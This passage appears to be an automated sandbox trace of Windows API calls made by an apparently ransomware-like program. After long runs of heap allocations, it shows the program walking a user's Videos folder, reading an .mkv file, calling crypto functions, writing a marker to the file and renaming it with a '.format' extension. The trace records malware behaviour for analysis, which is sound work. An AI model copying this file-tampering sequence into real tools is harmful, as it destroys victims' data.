wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.665] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.665] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.665] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.665] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.665] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.665] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.665] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.665] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.665] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.665] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.665] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.666] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.667] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.668] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.669] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.670] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.670] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.670] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.670] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.670] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.670] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.670] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.670] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.670] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\") returned="Pmee\\" [0068.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\") returned="3ymkgwpUkCk\\" [0068.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0068.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.670] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.670] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.670] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.670] PathFindFileNameW (pszPath="") returned="" [0068.671] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8fd690, ftCreationTime.dwHighDateTime=0x1d4ce19, ftLastAccessTime.dwLowDateTime=0xd3b4980, ftLastAccessTime.dwHighDateTime=0x1d4ce03, ftLastWriteTime.dwLowDateTime=0xd3b4980, ftLastWriteTime.dwHighDateTime=0x1d4ce03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.671] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175850 | out: hHeap=0x5d0000) returned 1 [0068.671] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8fd690, ftCreationTime.dwHighDateTime=0x1d4ce19, ftLastAccessTime.dwLowDateTime=0xd3b4980, ftLastAccessTime.dwHighDateTime=0x1d4ce03, ftLastWriteTime.dwLowDateTime=0xd3b4980, ftLastWriteTime.dwHighDateTime=0x1d4ce03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.671] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12977f50, ftCreationTime.dwHighDateTime=0x1d4d3a5, ftLastAccessTime.dwLowDateTime=0x8775fa70, ftLastAccessTime.dwHighDateTime=0x1d4d2d5, ftLastWriteTime.dwLowDateTime=0x8775fa70, ftLastWriteTime.dwHighDateTime=0x1d4d2d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3Us5nuIYL1u_RnPPuJ", cAlternateFileName="3US5NU~1")) returned 1 [0068.671] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2142e00, ftCreationTime.dwHighDateTime=0x1d4cf02, ftLastAccessTime.dwLowDateTime=0x86c0a50, ftLastAccessTime.dwHighDateTime=0x1d4d3fa, ftLastWriteTime.dwLowDateTime=0x86c0a50, ftLastWriteTime.dwHighDateTime=0x1d4d3fa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ep5U", cAlternateFileName="")) returned 1 [0068.671] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534c8910, ftCreationTime.dwHighDateTime=0x1d4ce4f, ftLastAccessTime.dwLowDateTime=0xeea362d0, ftLastAccessTime.dwHighDateTime=0x1d4d287, ftLastWriteTime.dwLowDateTime=0xeea362d0, ftLastWriteTime.dwHighDateTime=0x1d4d287, nFileSizeHigh=0x0, nFileSizeLow=0x6411, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O57pDGQlUBqcEPgoi.mkv", cAlternateFileName="O57PDG~1.MKV")) returned 1 [0068.671] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\O57pDGQlUBqcEPgoi.mkv") returned=".mkv" [0068.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\O57pDGQlUBqcEPgoi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\o57pdgqlubqcepgoi.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.671] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=25617) returned 1 [0068.671] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.674] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x63eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.674] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.675] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x6411, lpOverlapped=0x0) returned 1 [0068.675] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.675] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.675] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.675] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.676] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.676] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.676] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.676] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.676] GetLastError () returned 0x0 [0068.676] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.676] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.676] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.676] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x6411, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.676] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.676] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.676] CloseHandle (hObject=0x5c8) returned 1 [0068.677] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\O57pDGQlUBqcEPgoi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\o57pdgqlubqcepgoi.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\O57pDGQlUBqcEPgoi.mkv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\o57pdgqlubqcepgoi.mkv.format")) returned 1 [0068.678] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.678] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.679] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.679] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123a33a0, ftCreationTime.dwHighDateTime=0x1d4d593, ftLastAccessTime.dwLowDateTime=0xfb212260, ftLastAccessTime.dwHighDateTime=0x1d4cea7, ftLastWriteTime.dwLowDateTime=0xfb212260, ftLastWriteTime.dwHighDateTime=0x1d4cea7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oD8Tz2pMYKkYRQ-RJT2T", cAlternateFileName="OD8TZ2~1")) returned 1 [0068.679] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc861c040, ftCreationTime.dwHighDateTime=0x1d4cdae, ftLastAccessTime.dwLowDateTime=0x74c8c310, 